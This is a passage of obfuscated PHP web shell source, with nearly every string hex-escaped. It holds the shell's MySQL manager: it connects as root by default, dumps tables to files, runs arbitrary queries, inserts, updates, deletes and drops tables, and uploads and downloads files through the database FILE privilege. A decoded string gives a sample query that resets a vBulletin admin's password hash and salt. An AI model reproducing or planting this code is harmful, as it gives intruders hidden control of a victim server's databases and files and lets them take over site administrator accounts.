p("\x44\102\x4e\141\x6d\145\x3a"); makeinput(array("\x6e\141\x6d\145"=>"\x64\142\x6e\141\x6d\145","\x73\151\x7a\145"=>15,"\x76\141\x6c\165\x65"=>$dbname)); p("\x44\102\x43\150\x61\162\x73\145\x74\72"); makeselect(array("\x6e\141\x6d\145"=>"\x63\150\x61\162\x73\145\x74","\x6f\160\x74\151\x6f\156"=>$charsets,"\x73\145\x6c\145\x63\164\x65\144"=>$charset)); p("\x3c\57\x70\76"); formfoot(); p("\x3c\146\x6f\162\x6d\40\x61\143\x74\151\x6f\156\x3d\42".$self."\x22\40\x6d\145\x74\150\x6f\144\x3d\42\x50\117\x53\124\x22\40\x65\156\x63\164\x79\160\x65\75\x22\155\x75\154\x74\151\x70\141\x72\164\x2f\146\x6f\162\x6d\55\x64\141\x74\141\x22\40\x6e\141\x6d\145\x3d\42\x6d\171\x73\161\x6c\146\x69\154\x65\42\x20\151\x64\75\x22\155\x79\163\x71\154\x66\151\x6c\145\x22\76"); p("\x3c\150\x32\76\x55\160\x6c\157\x61\144\x20\146\x69\154\x65\74\x2f\150\x32\76"); p("\x3c\160\x3e\74\x62\76\x54\150\x69\163\x20\157\x70\145\x72\141\x74\151\x6f\156\x20\164\x68\145\x20\104\x42\40\x75\163\x65\162\x20\155\x75\163\x74\40\x68\141\x73\40\x46\111\x4c\105\x20\160\x72\151\x76\151\x6c\145\x67\145\x3c\57\x62\76\x3c\57\x70\76"); p("\x3c\160\x3e\123\x61\166\x65\40\x70\141\x74\150\x28\146\x75\154\x6c\160\x61\164\x68\51\x3a\40\x3c\151\x6e\160\x75\164\x20\143\x6c\141\x73\163\x3d\42\x69\156\x70\165\x74\42\x20\156\x61\155\x65\75\x22\163\x61\166\x65\160\x61\164\x68\42\x20\163\x69\172\x65\75\x22\64\x35\42\x20\164\x79\160\x65\75\x22\164\x65\170\x74\42\x20\57\x3e\40\x43\150\x6f\157\x73\145\x20\141\x20\146\x69\154\x65\72\x20\74\x69\156\x70\165\x74\40\x63\154\x61\163\x73\75\x22\151\x6e\160\x75\164\x22\40\x6e\141\x6d\145\x3d\42\x75\160\x6c\157\x61\144\x66\151\x6c\145\x22\40\x74\171\x70\145\x3d\42\x66\151\x6c\145\x22\40\x2f\76\x20\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\155\x79\163\x71\154\x66\151\x6c\145\x28\134\x27\155\x79\163\x71\154\x75\160\x6c\157\x61\144\x5c\47\x29\73\x22\76\x55\160\x6c\157\x61\144\x3c\57\x61\76\x3c\57\x70\76"); p("\x3c\150\x32\76\x44\157\x77\156\x6c\157\x61\144\x20\146\x69\154\x65\74\x2f\150\x32\76"); p("\x3c\160\x3e\106\x69\154\x65\72\x20\74\x69\156\x70\165\x74\40\x63\154\x61\163\x73\75\x22\151\x6e\160\x75\164\x22\40\x6e\141\x6d\145\x3d\42\x6d\171\x73\161\x6c\144\x6c\146\x69\154\x65\42\x20\163\x69\172\x65\75\x22\61\x31\65\x22\40\x74\171\x70\145\x3d\42\x74\145\x78\164\x22\40\x2f\76\x20\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\155\x79\163\x71\154\x66\151\x6c\145\x28\134\x27\155\x79\163\x71\154\x64\157\x77\156\x5c\47\x29\73\x22\76\x44\157\x77\156\x6c\157\x61\144\x3c\57\x61\76\x3c\57\x70\76"); makehide("\x64\142\x68\157\x73\164"); makehide("\x64\142\x70\157\x72\164"); makehide("\x64\142\x75\163\x65\162"); makehide("\x64\142\x70\141\x73\163"); makehide("\x64\142\x6e\141\x6d\145"); makehide("\x63\150\x61\162\x73\145\x74"); makehide("\x64\157\x69\156\x67"); makehide("\x61\143\x74\151\x6f\156","\x73\161\x6c\146\x69\154\x65"); p("\x3c\57\x66\157\x72\155\x3e"); } elseif ($action == "\x73\161\x6c\141\x64\155\x69\156") { !$dbhost && $dbhost = "\x6c\157\x63\141\x6c\150\x6f\163\x74"; !$dbuser && $dbuser = "\x72\157\x6f\164"; !$dbport && $dbport = "\x33\63\x30\66"; $dbform = "\x3c\151\x6e\160\x75\164\x20\164\x79\160\x65\75\x22\150\x69\144\x64\145\x6e\42\x20\151\x64\75\x22\143\x6f\156\x6e\145\x63\164\x22\40\x6e\141\x6d\145\x3d\42\x63\157\x6e\156\x65\143\x74\42\x20\166\x61\154\x75\145\x3d\42\x31\42\x20\57\x3e"; if(isset($dbhost)){ $dbform .= "\x3c\151\x6e\160\x75\164\x20\164\x79\160\x65\75\"\x68\151\x64\144\x65\156\"\x20\151\x64\75\"\x64\142\x68\157\x73\164\"\x20\156\x61\155\x65\75\"\x64\142\x68\157\x73\164\"\x20\166\x61\154\x75\145\x3d\"$dbhost\"\x20\57\x3e\n"; } if(isset($dbuser)) { $dbform .= "\x3c\151\x6e\160\x75\164\x20\164\x79\160\x65\75\"\x68\151\x64\144\x65\156\"\x20\151\x64\75\"\x64\142\x75\163\x65\162\"\x20\156\x61\155\x65\75\"\x64\142\x75\163\x65\162\"\x20\166\x61\154\x75\145\x3d\"$dbuser\"\x20\57\x3e\n"; } if(isset($dbpass)) { $dbform .= "\x3c\151\x6e\160\x75\164\x20\164\x79\160\x65\75\"\x68\151\x64\144\x65\156\"\x20\151\x64\75\"\x64\142\x70\141\x73\163\"\x20\156\x61\155\x65\75\"\x64\142\x70\141\x73\163\"\x20\166\x61\154\x75\145\x3d\"$dbpass\"\x20\57\x3e\n"; } if(isset($dbport)) { $dbform .= "\x3c\151\x6e\160\x75\164\x20\164\x79\160\x65\75\"\x68\151\x64\144\x65\156\"\x20\151\x64\75\"\x64\142\x70\157\x72\164\"\x20\156\x61\155\x65\75\"\x64\142\x70\157\x72\164\"\x20\166\x61\154\x75\145\x3d\"$dbport\"\x20\57\x3e\n"; } if(isset($dbname)) { $dbform .= "\x3c\151\x6e\160\x75\164\x20\164\x79\160\x65\75\"\x68\151\x64\144\x65\156\"\x20\151\x64\75\"\x64\142\x6e\141\x6d\145\"\x20\156\x61\155\x65\75\"\x64\142\x6e\141\x6d\145\"\x20\166\x61\154\x75\145\x3d\"$dbname\"\x20\57\x3e\n"; } if(isset($charset)) { $dbform .= "\x3c\151\x6e\160\x75\164\x20\164\x79\160\x65\75\"\x68\151\x64\144\x65\156\"\x20\151\x64\75\"\x63\150\x61\162\x73\145\x74\"\40\x6e\141\x6d\145\x3d\"\143\x68\141\x72\163\x65\164\"\x20\166\x61\154\x75\145\x3d\"$charset\"\x20\57\x3e\n"; } if ($doing == "\x62\141\x63\153\x75\160\x6d\171\x73\161\x6c" && $saveasfile) { if (!$table) { m("\x50\154\x65\141\x73\145\x20\143\x68\157\x6f\163\x65\40\x74\150\x65\40\x74\141\x62\154\x65"); } else { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); $table = array_flip($table); $fp = @fopen($path,"\x77"); if ($fp) { $result = q("\x53\110\x4f\127\x20\164\x61\142\x6c\145\x73"); if (!$result) p("\x3c\150\x32\76".mysql_error()."\x3c\57\x68\62\x3e"); $mysqldata = ''; while ($currow = mysql_fetch_array($result)) { if (isset($table[$currow[0]])) { sqldumptable($currow[0], $fp); } } fclose($fp); $fileurl = str_replace(SA_ROOT,'',$path); m("\x44\141\x74\141\x62\141\x73\145\x20\150\x61\163\x20\163\x75\143\x63\145\x73\163\x20\142\x61\143\x6b\165\x70\40\x74\157\x20\74\x61\40\x68\162\x65\146\x3d\42".$fileurl."\x22\40\x74\141\x72\147\x65\164\x3d\42\x5f\142\x6c\141\x6e\153\x22\76".$path."\x3c\57\x61\76"); mysql_close(); } else { m("\x42\141\x63\153\x75\160\x20\146\x61\151\x6c\145\x64"); } } } if ($insert && $insertsql) { $keystr = $valstr = $tmp = ''; foreach($insertsql as $key => $val) { if ($val) { $keystr .= $tmp.$key; $valstr .= $tmp."\x27".addslashes($val)."\x27"; $tmp = "\x2c"; } } if ($keystr && $valstr) { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); m(q("\x49\116\x53\105\x52\124\x20\111\x4e\124\x4f\40$tablename\x20\50$keystr\x29\40\x56\101\x4c\125\x45\123\x20\50$valstr\x29") ? "\x49\156\x73\145\x72\164\x20\156\x65\167\x20\162\x65\143\x6f\162\x64\40\x6f\146\x20\163\x75\143\x63\145\x73\163" : mysql_error()); } } if ($update && $insertsql && $base64) { $valstr = $tmp = ''; foreach($insertsql as $key => $val) { $valstr .= $tmp.$key."\x3d\47".addslashes($val)."\x27"; $tmp = "\x2c"; } if ($valstr) { $where = base64_decode($base64); dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); m(q("\x55\120\x44\101\x54\105\x20$tablename\x20\123\x45\124\x20$valstr\x20\127\x48\105\x52\105\x20$where\x20\114\x49\115\x49\124\x20\61") ? "\x52\145\x63\157\x72\144\x20\165\x70\144\x61\164\x69\156\x67" : mysql_error()); } } if ($doing == "\x64\145\x6c" && $base64) { $where = base64_decode($base64); $delete_sql = "\x44\105\x4c\105\x54\105\x20\106\x52\117\x4d\40$tablename\x20\127\x48\105\x52\105\x20$where"; dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); m(q("\x44\105\x4c\105\x54\105\x20\106\x52\117\x4d\40$tablename\x20\127\x48\105\x52\105\x20$where") ? "\x44\145\x6c\145\x74\151\x6f\156\x20\162\x65\143\x6f\162\x64\40\x6f\146\x20\163\x75\143\x63\145\x73\163" : mysql_error()); } if ($tablename && $doing == "\x64\162\x6f\160") { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); if (q("\x44\122\x4f\120\x20\124\x41\102\x4c\105\x20$tablename")) { m("\x44\162\x6f\160\x20\164\x61\142\x6c\145\x20\157\x66\40\x73\165\x63\143\x65\163\x73"); $tablename = ''; } else { m(mysql_error()); } } $charsets = array(''=>"\x44\145\x66\141\x75\154\x74","\x67\142\x6b"=>"\x47\102\x4b", "\x62\151\x67\65"=>"\x42\151\x67\65", "\x75\164\x66\70"=>"\x55\124\x46\55\x38", "\x6c\141\x74\151\x6e\61"=>"\x4c\141\x74\151\x6e\61"); formhead(array("\x74\151\x74\154\x65"=>"\x4d\131\x53\121\x4c\40\x4d\141\x6e\141\x67\145\x72")); makehide("\x61\143\x74\151\x6f\156","\x73\161\x6c\141\x64\155\x69\156"); p("\x3c\160\x3e"); p("\x44\102\x48\157\x73\164\x3a"); makeinput(array("\x6e\141\x6d\145"=>"\x64\142\x68\157\x73\164","\x73\151\x7a\145"=>20,"\x76\141\x6c\165\x65"=>$dbhost)); p("\x3a"); makeinput(array("\x6e\141\x6d\145"=>"\x64\142\x70\157\x72\164","\x73\151\x7a\145"=>4,"\x76\141\x6c\165\x65"=>$dbport)); p("\x44\102\x55\163\x65\162\x3a"); makeinput(array("\x6e\141\x6d\145"=>"\x64\142\x75\163\x65\162","\x73\151\x7a\145"=>15,"\x76\141\x6c\165\x65"=>$dbuser)); p("\x44\102\x50\141\x73\163\x3a"); makeinput(array("\x6e\141\x6d\145"=>"\x64\142\x70\141\x73\163","\x73\151\x7a\145"=>15,"\x76\141\x6c\165\x65"=>$dbpass)); p("\x44\102\x43\150\x61\162\x73\145\x74\72"); makeselect(array("\x6e\141\x6d\145"=>"\x63\150\x61\162\x73\145\x74","\x6f\160\x74\151\x6f\156"=>$charsets,"\x73\145\x6c\145\x63\164\x65\144"=>$charset)); makeinput(array("\x6e\141\x6d\145"=>"\x63\157\x6e\156\x65\143\x74","\x76\141\x6c\165\x65"=>"\x43\157\x6e\156\x65\143\x74","\x74\171\x70\145"=>"\x73\165\x62\155\x69\164","\x63\154\x61\163\x73"=>"\x62\164")); p("\x3c\57\x70\76"); formfoot(); ?><script type="text/javascript">function editrecord(action, base64, tablename){if (action == 'del') {if (!confirm('Is or isn\'t deletion record?')) return;}$('recordlist').doing.value=action;$('recordlist').base64.value=base64;$('recordlist').tablename.value=tablename;$('recordlist').submit();}function moddbname(dbname) {if(!dbname) return;$('setdbname').dbname.value=dbname;$('setdbname').submit();}function settable(tablename,doing,page) {if(!tablename) return;if (doing) {$('settable').doing.value=doing;}if (page) {$('settable').page.value=page;}$('settable').tablename.value=tablename;$('settable').submit();}</script><?php  formhead(array("\x6e\141\x6d\145"=>"\x72\145\x63\157\x72\144\x6c\151\x73\164")); makehide("\x64\157\x69\156\x67"); makehide("\x61\143\x74\151\x6f\156","\x73\161\x6c\141\x64\155\x69\156"); makehide("\x62\141\x73\145\x36\64"); makehide("\x74\141\x62\154\x65\156\x61\155\x65"); p($dbform); formfoot(); formhead(array("\x6e\141\x6d\145"=>"\x73\145\x74\144\x62\156\x61\155\x65")); makehide("\x61\143\x74\151\x6f\156","\x73\161\x6c\141\x64\155\x69\156"); p($dbform); if (!$dbname) { makehide("\x64\142\x6e\141\x6d\145"); } formfoot(); formhead(array("\x6e\141\x6d\145"=>"\x73\145\x74\164\x61\142\x6c\145")); makehide("\x61\143\x74\151\x6f\156","\x73\161\x6c\141\x64\155\x69\156"); p($dbform); makehide("\x74\141\x62\154\x65\156\x61\155\x65"); makehide("\x70\141\x67\145",$page); makehide("\x64\157\x69\156\x67"); formfoot(); $cachetables = array(); $pagenum = 30; $page = intval($page); if($page) { $start_limit = ($page - 1) * $pagenum; } else { $start_limit = 0; $page = 1; } if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); $mysqlver = mysql_get_server_info(); p("\x3c\160\x3e\115\x79\123\x51\114\x20".$mysqlver."\x20\162\x75\156\x6e\151\x6e\147\x20\151\x6e\40".$dbhost."\x20\141\x73\40".$dbuser."\x40".$dbhost."\x3c\57\x70\76"); $highver = $mysqlver > "\x34\56\x31" ? 1 : 0; $query = q("\x53\110\x4f\127\x20\104\x41\124\x41\102\x41\123\x45\123"); $dbs = array(); $dbs[] = "\x2d\55\x20\123\x65\154\x65\143\x74\40\x61\40\x64\141\x74\141\x62\141\x73\145\x20\55\x2d"; while($db = mysql_fetch_array($query)) { $dbs[$db["\x44\141\x74\141\x62\141\x73\145"]] = $db["\x44\141\x74\141\x62\141\x73\145"]; } makeselect(array("\x74\151\x74\154\x65"=>"\x50\154\x65\141\x73\145\x20\163\x65\154\x65\143\x74\40\x61\40\x64\141\x74\141\x62\141\x73\145\x3a","\x6e\141\x6d\145"=>"\x64\142\x5b\135","\x6f\160\x74\151\x6f\156"=>$dbs,"\x73\145\x6c\145\x63\164\x65\144"=>$dbname,"\x6f\156\x63\150\x61\156\x67\145"=>"\x6d\157\x64\144\x62\156\x61\155\x65\50\x74\150\x69\163\x2e\157\x70\164\x69\157\x6e\163\x5b\164\x68\151\x73\56\x73\145\x6c\145\x63\164\x65\144\x49\156\x64\145\x78\135\x2e\166\x61\154\x75\145\x29","\x6e\145\x77\154\x69\156\x65"=>1)); $tabledb = array(); if ($dbname) { p("\x3c\160\x3e"); p("\x43\165\x72\162\x65\156\x74\40\x64\141\x62\141\x62\141\x73\145\x3a\40\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x6d\157\x64\144\x62\156\x61\155\x65\50\x5c\47".$dbname."\x5c\47\x29\73\x22\76".$dbname."\x3c\57\x61\76"); if ($tablename) { p("\x20\174\x20\103\x75\162\x72\145\x6e\164\x20\124\x61\142\x6c\145\x3a\40\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x73\145\x74\164\x61\142\x6c\145\x28\134\x27".$tablename."\x5c\47\x29\73\x22\76".$tablename."\x3c\57\x61\76\x20\133\x20\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\163\x65\164\x74\141\x62\154\x65\50\x5c\47".$tablename."\x5c\47\x2c\40\x5c\47\x69\156\x73\145\x72\164\x5c\47\x29\73\x22\76\x49\156\x73\145\x72\164\x3c\57\x61\76\x20\174\x20\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\163\x65\164\x74\141\x62\154\x65\50\x5c\47".$tablename."\x5c\47\x2c\40\x5c\47\x73\164\x72\165\x63\164\x75\162\x65\134\x27\51\x3b\42\x3e\123\x74\162\x75\143\x74\165\x72\145\x3c\57\x61\76\x20\174\x20\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\163\x65\164\x74\141\x62\154\x65\50\x5c\47".$tablename."\x5c\47\x2c\40\x5c\47\x64\162\x6f\160\x5c\47\x29\73\x22\76\x44\162\x6f\160\x3c\57\x61\76\x20\135"); } p("\x3c\57\x70\76"); mysql_select_db($dbname); $getnumsql = ''; $runquery = 0; if ($sql_query) { $runquery = 1; } $allowedit = 0; if ($tablename && !$sql_query) { $sql_query = "\x53\105\x4c\105\x43\124\x20\52\x20\106\x52\117\x4d\40$tablename"; $getnumsql = $sql_query; $sql_query = $sql_query."\x20\114\x49\115\x49\124\x20$start_limit\x2c\40$pagenum"; $allowedit = 1; } p("\x3c\146\x6f\162\x6d\40\x61\143\x74\151\x6f\156\x3d\42".$self."\x22\40\x6d\145\x74\150\x6f\144\x3d\42\x50\117\x53\124\x22\76"); p("\x3c\160\x3e\74\x74\141\x62\154\x65\40\x77\151\x64\164\x68\75\x22\62\x30\60\x22\40\x62\157\x72\144\x65\162\x3d\42\x30\42\x20\143\x65\154\x6c\160\x61\144\x64\151\x6e\147\x3d\42\x30\42\x20\143\x65\154\x6c\163\x70\141\x63\151\x6e\147\x3d\42\x30\42\x3e\74\x74\162\x3e\74\x74\144\x20\143\x6f\154\x73\160\x61\156\x3d\42\x32\42\x3e\122\x75\156\x20\123\x51\114\x20\161\x75\145\x72\171\x2f\161\x75\145\x72\151\x65\163\x20\157\x6e\40\x64\141\x74\141\x62\141\x73\145\x20\74\x66\157\x6e\164\x20\143\x6f\154\x6f\162\x3d\162\x65\144\x3e\74\x62\76".$dbname."\x3c\57\x66\157\x6e\164\x3e\74\x2f\142\x3e\72\x3c\102\x52\76\x45\170\x61\155\x70\154\x65\40\x56\102\x42\40\x50\141\x73\163\x77\157\x72\144\x3a\40\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x72\145\x64\76\x76\142\x61\164\x65\141\x6d\74\x2f\146\x6f\156\x74\76\x3c\102\x52\76\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x79\145\x6c\154\x6f\167\x3e\125\x50\104\x41\124\x45\40\x60\165\x73\145\x72\140\x20\123\x45\124\x20\140\x70\141\x73\163\x77\157\x72\144\x60\40\x3d\40\x5c\47\x36\71\x65\65\x33\145\x35\141\x62\71\x35\63\x36\145\x35\65\x64\63\x31\146\x66\65\x33\63\x61\145\x66\143\x34\146\x62\145\x5c\47\x2c\40\x73\141\x6c\164\x20\75\x20\134\x27\160\x35\124\x5c\47\x20\127\x48\105\x52\105\x20\140\x75\163\x65\162\x69\144\x60\40\x3d\40\x5c\47\x31\134\x27\40\x3c\57\x66\157\x6e\164\x3e\15\xa\15\xa\11\x9\11\x3c\57\x74\144\x3e\74\x2f\164\x72\76\x3c\164\x72\76\x3c\164\x64\76\x3c\164\x65\170\x74\141\x72\145\x61\40\x6e\141\x6d\145\x3d\42\x73\161\x6c\137\x71\165\x65\162\x79\42\x20\143\x6c\141\x73\163\x3d\42\x61\162\x65\141\x22\40\x73\164\x79\154\x65\75\x22\167\x69\144\x74\150\x3a\66\x30\60\x70\170\x3b\150\x65\151\x67\150\x74\72\x35\60\x70\170\x3b\157\x76\145\x72\146\x6c\157\x77\72\x61\165\x74\157\x3b\42\x3e".htmlspecialchars($sql_query,ENT_QUOTES)."\x3c\57\x74\145\x78\164\x61\162\x65\141\x3e\74\x2f\164\x64\76\x3c\164\x64\40\x73\164\x79\154\x65\75\x22\160\x61\144\x64\151\x6e\147\x3a\60\x20\65\x70\170\x3b\42\x3e\74\x69\156\x70\165\x74\40\x63\154\x61\163\x73\75\x22\142\x74\42\x20\163\x74\171\x6c\145\x3d\42\x68\145\x69\147\x68\164\x3a\65\x30\160\x78\73\x22\40\x6e\141\x6d\145\x3d\42\x73\165\x62\155\x69\164\x22\40\x74\171\x70\145\x3d\42\x73\165\x62\155\x69\164\x22\40\x76\141\x6c\165\x65\75\x22\121\x75\145\x72\171\x22\40\x2f\76\x3c\57\x74\144\x3e\74\x2f\164\x72\76\x3c\57\x74\141\x62\154\x65\76\x3c\57\x70\76"); makehide("\x74\141\x62\154\x65\156\x61\155\x65", $tablename); makehide("\x61\143\x74\151\x6f\156","\x73\161\x6c\141\x64\155\x69\156"); p($dbform); p("\x3c\57\x66\157\x72\155\x3e"); if ($tablename || ($runquery && $sql_query)) { if ($doing == "\x73\164\x72\165\x63\164\x75\162\x65") { $result = q("\x53\110\x4f\127\x20\103\x4f\114\x55\115\x4e\123\x20\106\x52\117\x4d\40$tablename"); $rowdb = array(); while($row = mysql_fetch_array($result)) { $rowdb[] = $row; } p("\x3c\164\x61\142\x6c\145\x20\142\x6f\162\x64\145\x72\75\x22\60\x22\40\x63\145\x6c\154\x70\141\x64\144\x69\156\x67\75\x22\63\x22\40\x63\145\x6c\154\x73\160\x61\143\x69\156\x67\75\x22\60\x22\76"); p("\x3c\164\x72\40\x63\154\x61\163\x73\75\x22\150\x65\141\x64\42\x3e"); p("\x3c\164\x64\76\x46\151\x65\154\x64\74\x2f\164\x64\76"); p("\x3c\164\x64\76\x54\171\x70\145\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76\x4e\165\x6c\154\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76\x4b\145\x79\74\x2f\164\x64\76"); p("\x3c\164\x64\76\x44\145\x66\141\x75\154\x74\74\x2f\164\x64\76"); p("\x3c\164\x64\76\x45\170\x74\162\x61\74\x2f\164\x64\76"); p("\x3c\57\x74\162\x3e"); foreach ($rowdb as $row) { $thisbg = bg(); p("\x3c\164\x72\40\x63\154\x61\163\x73\75\x22\146\x6f\165\x74\42\x20\157\x6e\155\x6f\165\x73\145\x6f\166\x65\162\x3d\42\x74\150\x69\163\x2e\143\x6c\141\x73\163\x4e\141\x6d\145\x3d\134\x27\146\x6f\143\x75\163\x5c\47\x3b\42\x20\157\x6e\155\x6f\165\x73\145\x6f\165\x74\75\x22\164\x68\151\x73\56\x63\154\x61\163\x73\116\x61\155\x65\75\x5c\47\x66\157\x75\164\x5c\47\x3b\42\x3e"); p("\x3c\164\x64\76".$row["\x46\151\x65\154\x64"]."\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76".$row["\x54\171\x70\145"]."\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76".$row["\x4e\165\x6c\154"]."\x26\156\x62\163\x70\73\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76".$row["\x4b\145\x79"]."\x26\156\x62\163\x70\73\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76".$row["\x44\145\x66\141\x75\154\x74"]."\x26\156\x62\163\x70\73\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76".$row["\x45\170\x74\162\x61"]."\x26\156\x62\163\x70\73\x3c\57\x74\144\x3e"); p("\x3c\57\x74\162\x3e"); } tbfoot(); } elseif ($doing == "\x69\156\x73\145\x72\164" || $doing == "\x65\144\x69\164") { $result = q("\x53\110\x4f\127\x20\103\x4f\114\x55\115\x4e\123\x20\106\x52\117\x4d\40".$tablename); while ($row = mysql_fetch_array($result)) { $rowdb[] = $row; } $rs = array(); if ($doing == "\x69\156\x73\145\x72\164") { p("\x3c\150\x32\76\x49\156\x73\145\x72\164\x20\156\x65\167\x20\154\x69\156\x65\40\x69\156\x20".$tablename."\x20\164\x61\142\x6c\145\x20\46\x72\141\x71\165\x6f\73\x3c\57\x68\62\x3e"); } else { p("\x3c\150\x32\76\x55\160\x64\141\x74\145\x20\162\x65\143\x6f\162\x64\40\x69\156\x20".$tablename."\x20\164\x61\142\x6c\145\x20\46\x72\141\x71\165\x6f\73\x3c\57\x68\62\x3e"); $where = base64_decode($base64); $result = q("\x53\105\x4c\105\x43\124\x20\52\x20\106\x52\117\x4d\40$tablename\x20\127\x48\105\x52\105\x20$where\x20\114\x49\115\x49\124\x20\61"); $rs = mysql_fetch_array($result); } p("\x3c\146\x6f\162\x6d\40\x6d\145\x74\150\x6f\144\x3d\42\x70\157\x73\164\x22\40\x61\143\x74\151\x6f\156\x3d\42".$self."\x22\76"); p($dbform); makehide("\x61\143\x74\151\x6f\156","\x73\161\x6c\141\x64\155\x69\156"); makehide("\x74\141\x62\154\x65\156\x61\155\x65",$tablename); p("\x3c\164\x61\142\x6c\145\x20\142\x6f\162\x64\145\x72\75\x22\60\x22\40\x63\145\x6c\154\x70\141\x64\144\x69\156\x67\75\x22\63\x22\40\x63\145\x6c\154\x73\160\x61\143\x69\156\x67\75\x22\60\x22\76"); foreach ($rowdb as $row) { if ($rs[$row["\x46\151\x65\154\x64"]]) { $value = htmlspecialchars($rs[$row["\x46\151\x65\154\x64"]]); } else { $value = ''; } $thisbg = bg(); p("\x3c\164\x72\40\x63\154\x61\163\x73\75\x22\146\x6f\165\x74\42\x20\157\x6e\155\x6f\165\x73\145\x6f\166\x65\162\x3d\42\x74\150\x69\163\x2e\143\x6c\141\x73\163\x4e\141\x6d\145\x3d\134\x27\146\x6f\143\x75\163\x5c\47\x3b\42\x20\157\x6e\155\x6f\165\x73\145\x6f\165\x74\75\x22\164\x68\151\x73\56\x63\154\x61\163\x73\116\x61\155\x65\75\x5c\47\x66\157\x75\164\x5c\47\x3b\42\x3e"); p("\x3c\164\x64\76\x3c\142\x3e".$row["\x46\151\x65\154\x64"]."\x3c\57\x62\76\x3c\142\x72\40\x2f\76".$row["\x54\171\x70\145"]."\x3c\57\x74\144\x3e\74\x74\144\x3e\74\x74\145\x78\164\x61\162\x65\141\x20\143\x6c\141\x73\163\x3d\42\x61\162\x65\141\x22\40\x6e\141\x6d\145\x3d\42\x69\156\x73\145\x72\164\x73\161\x6c\133".$row["\x46\151\x65\154\x64"]."\x5d\42\x20\163\x74\171\x6c\145\x3d\42\x77\151\x64\164\x68\72\x35\60\x30\160\x78\73\x68\145\x69\147\x68\164\x3a\66\x30\160\x78\73\x6f\166\x65\162\x66\154\x6f\167\x3a\141\x75\164\x6f\73\x22\76".$value."\x3c\57\x74\145\x78\164\x61\162\x65\141\x3e\74\x2f\164\x64\76\x3c\57\x74\162\x3e"); } if ($doing == "\x69\156\x73\145\x72\164") { p("\x3c\164\x72\40\x63\154\x61\163\x73\75\x22\146\x6f\165\x74\42\x3e\74\x74\144\x20\143\x6f\154\x73\160\x61\156\x3d\42\x32\42\x3e\74\x69\156\x70\165\x74\40\x63\154\x61\163\x73\75\x22\142\x74\42\x20\164\x79\160\x65\75\x22\163\x75\142\x6d\151\x74\42\x20\156\x61\155\x65\75\x22\151\x6e\163\x65\162\x74\42\x20\166\x61\154\x75\145\x3d\42\x49\156\x73\145\x72\164\x22\40\x2f\76\x3c\57\x74\144\x3e\74\x2f\164\x72\76"); } else { p("\x3c\164\x72\40\x63\154\x61\163\x73\75\x22\146\x6f\165\x74\42\x3e\74\x74\144\x20\143\x6f\154\x73\160\x61\156\x3d\42\x32\42\x3e\74\x69\156\x70\165\x74\40\x63\154\x61\163\x73\75\x22\142\x74\42\x20\164\x79\160\x65\75\x22\163\x75\142\x6d\151\x74\42\x20\156\x61\155\x65\75\x22\165\x70\144\x61\164\x65\42\x20\166\x61\154\x75\145\x3d\42\x55\160\x64\141\x74\145\x22\40\x2f\76\x3c\57\x74\144\x3e\74\x2f\164\x72\76"); makehide("\x62\141\x73\145\x36\64", $base64); } p("\x3c\57\x74\141\x62\154\x65\76\x3c\57\x66\157\x72\155\x3e"); } else { $querys = @explode("\x3b",$sql_query); foreach($querys as $num=>$query) { if ($query) { p("\x3c\160\x3e\74\x62\76\x51\165\x65\162\x79\43{$num}\x20\72\x20".htmlspecialchars($query,ENT_QUOTES)."\x3c\57\x62\76\x3c\57\x70\76"); switch(qy($query)) { case 0: p("\x3c\150\x32\76\x45\162\x72\157\x72\40\x3a\40".mysql_error()."\x3c\57\x68\62\x3e"); break; case 1: if (strtolower(substr($query,0,13)) == "\x73\145\x6c\145\x63\164\x20\52\x20\146\x72\157\x6d") { $allowedit = 1; } if ($getnumsql) { $tatol = mysql_num_rows(q($getnumsql)); $multipage = multi($tatol, $pagenum, $page, $tablename); } if (!$tablename) { $sql_line = str_replace(array("\r", "\n", "\t"), array("\x20", "\x20", "\x20"), trim(htmlspecialchars($query))); $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", "\x20", $sql_line); preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); $tablename = $matches[1][0]; } $result = q($query); p($multipage); p("\x3c\164\x61\142\x6c\145\x20\142\x6f\162\x64\145\x72\75\x22\60\x22\40\x63\145\x6c\154\x70\141\x64\144\x69\156\x67\75\x22\63\x22\40\x63\145\x6c\154\x73\160\x61\143\x69\156\x67\75\x22\60\x22\76"); p("\x3c\164\x72\40\x63\154\x61\163\x73\75\x22\150\x65\141\x64\42\x3e"); if ($allowedit) p("\x3c\164\x64\76\x41\143\x74\151\x6f\156\x3c\57\x74\144\x3e"); $fieldnum = @mysql_num_fields($result); for($i=0;$i<$fieldnum;$i++){ $name = @mysql_field_name($result, $i); $type = @mysql_field_type($result, $i); $len = @mysql_field_len($result, $i); p("\x3c\164\x64\40\x6e\157\x77\162\x61\160\x3e$name\x3c\142\x72\76\x3c\163\x70\141\x6e\76$type\x28$len\x29\74\x2f\163\x70\141\x6e\76\x3c\57\x74\144\x3e"); } 